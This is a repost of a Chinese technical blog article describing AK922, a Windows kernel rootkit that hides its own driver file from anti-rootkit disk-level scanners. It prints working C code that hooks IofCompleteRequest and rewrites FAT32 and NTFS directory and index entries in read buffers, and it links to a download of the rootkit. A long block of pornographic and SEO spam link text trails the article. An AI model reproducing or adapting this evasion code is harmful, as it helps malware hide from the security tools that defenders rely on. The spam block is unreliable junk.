• <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>

            elva

            AK922: 突破磁盤低級檢測實現(xiàn)文件隱藏

            AK922: 突破磁盤低級檢測實現(xiàn)文件隱藏
            作者:Azy
            email: Azy000@gmail.com
            完成于:2007-08-08

               目前,一些已公開的主流anti-rootkit檢測隱藏文件主要有兩種方法:第一種是文件系統(tǒng)層的檢測,屬于這一類的有icesword,darkspy,gmer等。第二種便是磁盤級別的低級檢測(Disk Low-Level Scanning),屬于這一類的ark也很多,典型代表為rootkit unhooker,filereg(is的插件),rootkit revealer,blacklight等。當然,還有一些工具,它們在應用層上通過調(diào)用ZwQueryDirectoryFile來實施檢測。
               驅(qū)動也好,應用也罷,說白了就是直接或間接發(fā)送IRP到下層驅(qū)動。第一類的發(fā)送到FSD中(fastfat.sys/ntfs.sys),第二類被發(fā)送到磁盤驅(qū)動(disk.sys),而后IRP便會攜帶相應的文件信息返回,這時上層應用再根據(jù)返回信息進行處理和判斷。但是由于Disk級比FS級更底層,IRP返回給我們的是更加接近數(shù)據(jù)原始組織方式的磁盤扇區(qū)信息,所以在Disk層上實施文件檢測可以得到更令人信服的結(jié)果。但這并不等于說這類檢測不能被擊敗。本文就將介紹一種繞過該類檢測的實現(xiàn)方法,當然,這也是在AK922中使用的。
               對于要實現(xiàn)文件隱藏的RK,與其說是“繞過”,還不如說是“攔截” -- 掛鉤某些內(nèi)核函數(shù)調(diào)用,以便在返回上層之前我們有機會過濾掉待隱藏文件的信息。
               AK922采用的方法是Hook內(nèi)核函數(shù)IofCompleteRequest。這個函數(shù)很有意思,因為它不僅是一個幾乎在任何驅(qū)動中都要調(diào)用的函數(shù),而且參數(shù)中正好含有IRP。有了IRP,就有了一切。這些特性決定了它很適合做我們的“傀儡”。但更重要的是,一般在驅(qū)動中調(diào)用IofCompleteRequest之時IRP操作都已完畢,IRP中相關(guān)域已經(jīng)填充了內(nèi)容,這就便于我們著手直接進行過濾而不用再做諸如發(fā)送IRP安裝完成例程之類的操作。
               下面就著重說一下工作流程:
               首先,判斷MajorFunction是不是IRP_MJ_READ以及IO堆棧中的DeviceObject是否是磁盤驅(qū)動的設(shè)備對象,因為這才是我們要處理的核心IRP,所有ark直接發(fā)送到Disk層的IRP在這里都可以被攔截到。
               接下來的處理要特別注意,進入到這里時IRQL是在APC_LEVEL以上的,因此我們不能碰任何IRP中的用戶模式緩沖區(qū),一碰極有可能藍,也就是說我們不能直接處理相關(guān)磁盤扇區(qū)信息,而必須通過ExQueueWorkItem排隊一個WorkItem的方法來處理。除此之外,由于Disk層在設(shè)備堆棧中處于靠下的位置,大部分IRP發(fā)到這里時當前進程上下文早已不是原始IRP發(fā)起者的進程上下文了,這里的發(fā)起者應理解為ark進程。幸運的是在IRP的Tail.Overlay.Thread域中還保存著原始ETHREAD指針,為了操作用戶模式緩沖區(qū),必須調(diào)用KeAttachProcess切到IRP發(fā)起者的上下文環(huán)境中,而這個工作只能在處于PASSIVE_LEVEL級上的工作者線程中執(zhí)行。在DISPATCH_LEVEL級上,做的事越少越好。
               剛開始我還分兩種情況進行處理:因為并不是所有的IRP都不處在原始上下文中,比如icesword發(fā)的IRP到這里還是處在icesword.exe進程中的,這時我認為可以不用排隊工作項,這樣就可以節(jié)省很多系統(tǒng)資源,提高過濾效率。于是我試圖在DISPATCH_LEVEL級上直接操作用戶緩沖區(qū),但這根本行不通。驅(qū)動很不穩(wěn)定,不一會就藍了。故索性老老實實地排隊去了,然后再分情況處理。代碼如下:

            // 處理Disk Low-Level Scanning
            if(irpSp->MajorFunction == IRP_MJ_READ && IsDiskDrxDevice(irpSp->DeviceObject) && irpSp->Parameters.Read.Length != 0)
            {    
                    
                orgnThread = Irp->Tail.Overlay.Thread;
                orgnProcess = IoThreadToProcess(orgnThread);
                    
                if(Irp->MdlAddress)
                {        
                    UserBuffer = (PVOID)((ULONG)Irp->MdlAddress->StartVa + Irp->MdlAddress->ByteOffset);
                        
                    // UserBuffer必須有效
                    if(UserBuffer)
                    {                    
                        
                        if(KeGetCurrentIrql() == DISPATCH_LEVEL)
                        {                    
                        
                            RtlZeroMemory(WorkerCtx, sizeof(WORKERCTX));
                            
                            WorkerCtx->UserBuffer = UserBuffer;
                            WorkerCtx->Length = irpSp->Parameters.Read.Length;
                            WorkerCtx->EProc = orgnProcess;
                            
                            ExInitializeWorkItem(&WorkerCtx->WorkItem, WorkerThread, WorkerCtx);
                                            
                            ExQueueWorkItem(&WorkerCtx->WorkItem, CriticalWorkQueue);
                        }
                    }
                    
                }
            }
              

               來到工作者線程,到了PASSIVE_LEVEL級上,切換上下文之后,似乎安全多了。但是以防萬一,操作用戶模式緩沖區(qū)之前還是要調(diào)用ProbeForXxx函數(shù)先判斷一下。相關(guān)代碼如下:

            VOID WorkerThread(PVOID Context)
            {
                KIRQL irql;
                PEPROCESS eproc = ((PWORKERCTX)Context)->orgnEProc;
                PEPROCESS currProc = ((PWORKERCTX)Context)->currEProc;
                //PMDL mdl;
                    

                if(((PWORKERCTX)Context)->UserBuffer)
                {
                    if(eproc != currProc)
                    {

                        KeAttachProcess(eproc);

                        __try{
                        
                            // ProbeForWrite must be running <= APC_LEVEL
                            ProbeForWrite(((PWORKERCTX)Context)->UserBuffer, ((PWORKERCTX)Context)->Length, 1);
                            HandleAkDiskHide(((PWORKERCTX)Context)->UserBuffer, ((PWORKERCTX)Context)->Length);
                        }

                        __except(EXCEPTION_EXECUTE_HANDLER){

                            //DbgPrint("we can't op the buffer now :-(");
                            KeDetachProcess();    
                            return;
                        }
                        
                        KeDetachProcess();    
                        
                    }else{

                        __try{
                        
                            // ProbeForWrite must be running <= APC_LEVEL
                            ProbeForWrite(((PWORKERCTX)Context)->UserBuffer, ((PWORKERCTX)Context)->Length, 1);
                            HandleAkDiskHide(((PWORKERCTX)Context)->UserBuffer, ((PWORKERCTX)Context)->Length);
                        }

                        __except(EXCEPTION_EXECUTE_HANDLER){}
                    }
                
                }
            }

               準備工作終于算是做得差不多了,下面就開始真正涂改磁盤扇區(qū)內(nèi)容了。這里將涉及到FAT32和NTFS磁盤文件結(jié)構(gòu),我先把要用到的主要結(jié)構(gòu)列出來,其余的大家可以參考《NTFS Documentation》。

            typedef struct _INDEX_HEADER{
                UCHAR            magic[4];
                USHORT            UpdateSequenceOffset;
                USHORT            SizeInWords;
                LARGE_INTEGER    LogFileSeqNumber;
                LARGE_INTEGER    VCN;
                ULONG            IndexEntryOffset;    // needed!
                ULONG            IndexEntrySize;
                ULONG            AllocateSize;
            }INDEX_HEADER, *PINDEX_HEADER;


            typedef struct _INDEX_ENTRY{
                LARGE_INTEGER        MFTReference;
                USHORT            Size;                // needed!
                USHORT            FileNameOffset;
                USHORT            Flags;
                USHORT            Padding;
                LARGE_INTEGER        MFTReferParent;
                LARGE_INTEGER        CreationTime;
                LARGE_INTEGER        ModifyTime;
                LARGE_INTEGER        FileRecModifyTime;
                LARGE_INTEGER        AccessTime;
                LARGE_INTEGER        AllocateSize;
                LARGE_INTEGER        RealSize;
                LARGE_INTEGER        FileFlags;
                UCHAR            FileNameLength;
                UCHAR            NameSpace;
                WCHAR            FileName[1];
            }INDEX_ENTRY, *PINDEX_ENTRY;

               在讀取磁盤文件信息時每次都是以一個扇區(qū)大小(512 bytes)的整數(shù)倍進行的,如果不了解相應卷的組織形式和數(shù)據(jù)結(jié)構(gòu),那么感覺就是數(shù)據(jù)多而繁雜,搜索效率也很低。但輔以上述結(jié)構(gòu)便可快速定位待隱藏文件并進行涂改。這里不得不說一句,算法的高效是很重要的,如果采用暴力搜索的方式,那么系統(tǒng)BSOD的概率會大大增加。
               在FAT32卷上,當AK922搜索到文件AK922.sys的目錄項時,將其0x0偏移處的文件名的第一個字節(jié)置為"0xe5",即標記為刪除。這樣即可達到欺騙ark的目的。但為了更加隱蔽,不讓winhex察覺出來,最好把文件名全部清0。
               處理NTFS卷稍微麻煩些,文件記錄和索引項都要抹干凈,具體實現(xiàn)見代碼,這里不再贅述。

            VOID HandleAkDiskHide(PVOID UserBuf, ULONG BufLen)
            {
                ULONG i;
                BOOLEAN bIsNtfsIndex;
                BOOLEAN bIsNtfsFile;
                ULONG offset = 0;
                ULONG indexSize = 0;
                PINDEX_ENTRY currIndxEntry = NULL;
                PINDEX_ENTRY preIndxEntry = NULL;
                ULONG currPosition;

                
                bIsNtfsFile = (_strnicmp(UserBuf, NtfsFileRecordHeader, 4) == 0);
                bIsNtfsIndex = (_strnicmp(UserBuf, NtfsIndexRootHeader, 4) == 0);

                if(bIsNtfsFile == FALSE && bIsNtfsIndex == FALSE)
                {            
                
                    for(i = 0; i < BufLen/0x20; i++)
                    {
                        if(!_strnicmp(UserBuf, fileHide, 5) && !_strnicmp((PVOID)((ULONG)UserBuf+0x8), fileExt, 3))
                        {

                            *(PUCHAR)UserBuf        = 0xe5;
                            *(PULONG)((ULONG)UserBuf + 0x1)    = 0;

                            break;
                                
                        }

                        UserBuf = (PVOID)((ULONG)UserBuf + 0x20);
                    
                    }

                } else if(bIsNtfsFile) {

                    //DbgPrint("FILE0...");

                    for(i = 0; i < BufLen / FILERECORDSIZE; i++)
                    {
                        if(!_wcsnicmp((PWCHAR)((ULONG)UserBuf + 0xf2), hideFile, 9))
                        {
                            memset((PVOID)UserBuf, 0, 0x4);
                            memset((PVOID)((ULONG)UserBuf + 0xf2), 0, 18);
                            break;
                        }
                            
                        UserBuf = (PVOID)((ULONG)UserBuf + FILERECORDSIZE);
                            
                    }
                        
                } else if(bIsNtfsIndex) {
                                        
                    //DbgPrint("INDX...");
                    // Index Entries
                    
                    offset = ((PINDEX_HEADER)UserBuf)->IndexEntryOffset + 0x18;
                    indexSize = BufLen - offset;
                    currPosition = 0;

                    currIndxEntry = (PINDEX_ENTRY)((ULONG)UserBuf + offset);
                    //DbgPrint(" -- offset: 0x%x indexSize: 0x%x", offset, indexSize);
                            
                    while(currPosition < indexSize && currIndxEntry->Size > 0 && currIndxEntry->FileNameOffset > 0)
                    {
                        if(!_wcsnicmp(currIndxEntry->FileName, hideFile, 9))
                        {
                            memset((PVOID)currIndxEntry->FileName, 0, 18);

                            if(currPosition == 0)
                            {
                                ((PINDEX_HEADER)UserBuf)->IndexEntryOffset += currIndxEntry->Size;
                                break;
                            }

                            preIndxEntry->Size += currIndxEntry->Size;
                            
                            break;
                        }

                        currPosition += currIndxEntry->Size;
                        preIndxEntry = currIndxEntry;
                        currIndxEntry = (PINDEX_ENTRY)((ULONG)currIndxEntry + currIndxEntry->Size);
                                
                    }
                }
            }

               水平有限,歡迎大家與我交流。


            參考資料:

            [1] - 《NTFS Documentation》
            [2] - Azy,《IceSword & Rootkit Unhooker驅(qū)動簡析》

            ---------

            關(guān)于AK922(AzyKit):我寫的一個只實現(xiàn)文件隱藏的RK,可以bypass本文提到的所有ark。
            Download @ http://www.wiiupload.net/sf/65b4e75ec4

            posted on 2007-10-12 11:58 葉子 閱讀(628) 評論(0)  編輯 收藏 引用 所屬分類: 網(wǎng)絡(luò)安全技術(shù)研究

            亚洲va国产va天堂va久久| 久久精品99无色码中文字幕| 精品久久久中文字幕人妻| 久久亚洲欧美国产精品| 久久久久成人精品无码中文字幕 | 欧美成人免费观看久久| 欧美午夜A∨大片久久| 久久久婷婷五月亚洲97号色| 久久国产免费| 99久久国产综合精品麻豆| 无码8090精品久久一区| 久久66热人妻偷产精品9| 色综合合久久天天给综看| 97热久久免费频精品99| 亚洲精品国产第一综合99久久| …久久精品99久久香蕉国产| 亚洲七七久久精品中文国产| 国产成人精品久久免费动漫| 青青草原综合久久大伊人| 国产成人精品久久| 久久99精品久久久久子伦| 热99RE久久精品这里都是精品免费 | 武侠古典久久婷婷狼人伊人| 2020久久精品国产免费| 久久一日本道色综合久久| 久久伊人精品一区二区三区| 人妻丰满?V无码久久不卡| 久久se精品一区精品二区国产 | 人妻无码αv中文字幕久久琪琪布| 欧美国产精品久久高清| 久久AAAA片一区二区| 久久99精品国产麻豆蜜芽| 久久99国产一区二区三区| 久久不射电影网| 亚洲国产精品久久66| 久久免费高清视频| 精品国产婷婷久久久| 久久免费99精品国产自在现线| 国产亚洲精午夜久久久久久 | 久久精品无码专区免费东京热| 99久久国产综合精品女同图片|